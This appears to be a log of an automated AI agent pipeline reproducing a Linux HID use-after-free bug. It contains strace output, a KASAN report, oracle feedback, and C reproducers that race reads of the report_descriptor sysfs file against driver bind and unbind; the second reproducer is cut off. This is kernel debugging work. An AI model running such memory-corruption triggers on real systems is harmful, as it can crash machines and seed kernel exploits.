[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.842619][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 76.873990][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.905445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.936861][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.948127][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.970512][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.994899][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5895] futex(0x7fe6c38bc990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5897, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5897] madvise(0x7fe6c30bc000, 8372224, MADV_DONTNEED) = 0
[pid 5897] exit(0) = ?
[pid 5897] +++ exited with 0 +++
[ 77.009042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5895] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5895] futex(0x7fe6c30bb990, FUTEX_WAIT_BITSET|FUTEX_CLOCK_REALTIME, 5898, NULL, FUTEX_BITSET_MATCH_ANY <unfinished ...>
[pid 5898] rt_sigprocmask(SIG_BLOCK, ~[RT_1], NULL, 8) = 0
[pid 5898] madvise(0x7fe6c28bb000, 8372224, MADV_DONTNEED) = 0
[pid 5898] exit(0) = ?
[pid 5895] <... futex resumed>) = 0
[pid 5898] +++ exited with 0 +++
close(4) = 0
close(5) = 0
close(6) = 0
write(3, "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., 4380) = 4380
close(3) = 0
write(1, "[+] Done", 8) = 8
write(1, "\n", 1) = 1
[+] Done
exit_group(0) = ?
+++ exited with 0 +++
[ 86.767287][ T9] cfg80211: failed to load regulatory.db
Crash Report:
|
| 133/4 |
2026/05/19 10:15 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 79227
output: 123
thoughts: 1113
Thoughts: **Reproducer Analysis and Next Steps**
Okay, first things first, I need to analyze this output. The goal is to see if the reproducer successfully triggered that `KASAN: slab-use-after-free Read in report_descriptor_read` bug. The reproducer output explicitly says "Reproduced: false," but I need to understand *why*. The console output shows a "probe with driver logitech failed with error -22," which translates to `-EINVAL`.
Let's dig deeper. The crash trace points to a read of the `report_descriptor` sysfs file, which makes sense. The strace confirms a `pread64` call, likely reading from this file. So, the reproducer *tries* to read, but the probe fails with `-EINVAL`. This failure seems to prevent the bug from occurring.
Looking at the probe trace, it seems like the failure originates within `hid_open_report` or potentially earlier in the `lg_probe` function. The strace again confirms this with the `pread64` returning 0 bytes, so it's most likely that `report_descriptor` couldn't be read. The important piece is that the probe fails with `-EINVAL`.
However, the output *does* end with `[+] Done`, so the probe program is running, it just isn't triggering the KASAN bug. And based on what's in the prompt, since the environment *is* ready (the program ran) even though the bug didn't trigger, I need to provide specific feedback for the next iteration.
Okay, so the program ran successfully, which means the environment is in a good state. It's just that the probe failed with `-EINVAL`, likely because the reading of the `report_descriptor` sysfs file failed.
Based on the prompt, it sounds like the agent likely generated this probe program in a previous step, so the next action is to have the agent proceed to generate the full reproducer.
So, here's my feedback to the agent:
The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The probe failed with `-EINVAL` (`error -22`).
You can now proceed to generate the full reproducer in the next iteration.
|
| 134/4 |
2026/05/19 10:15 |
tool |
set-results |
0m
Args: map[Feedback:The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read. TitleMatches:false]
Results: map[Feedback:The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read. TitleMatches:false]
|
| 135/3 |
2026/05/19 10:15 |
action |
loop-controller |
0m
Results: map[ContinueSignal:continue OracleFeedback:The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]
|
| 136/2 |
2026/05/19 10:15 |
iteration |
2 |
8m
|
| 137/3 |
2026/05/19 10:15 |
action |
If |
5m
Args: map[OracleFeedback:The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read.]
|
| 138/4 |
2026/05/19 10:15 |
agent |
strategy-refiner |
5m
Model:
Instruction: You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Current Strategy: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
Feedback: The execution completed successfully and the environment is ready. The probe program compiled and ran, exiting with `[+] Done`. However, the KASAN bug was not triggered. The console output shows that the logitech driver probe failed with `-EINVAL` (`error -22`). You can now proceed to generate the full reproducer in the next iteration, focusing on setting up the correct USB/HID descriptors to pass the probe and trigger the use-after-free during the `report_descriptor` read.
Reply: An analysis of the previous failure shows that the `hid-lg` driver explicitly checks if the device is a USB device (`hid_is_usb()`) during probe. Since we are creating a virtual device via `uhid`, this check fails, the driver refuses to bind, and the race condition is never reached.
To trigger the Use-After-Free, we need a driver that:
1. Implements the `report_fixup` callback (which causes `hid_open_report()` to dynamically allocate `hdev->rdesc`).
2. Does NOT check `hid_is_usb()` during probe, allowing it to bind to a `uhid` device.
Drivers like `hid-apple`, `hid-logitech-hidpp`, `hid-multitouch`, and `hid-cherry` fit these criteria perfectly. The following reproducer creates multiple `uhid` devices with Vendor/Product IDs corresponding to these drivers. It then scans sysfs to find which driver successfully bound to the device. Once a suitable driver is found, it launches the race: multiple threads repeatedly reading the `report_descriptor` sysfs file while another thread continuously unbinds and binds the driver.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
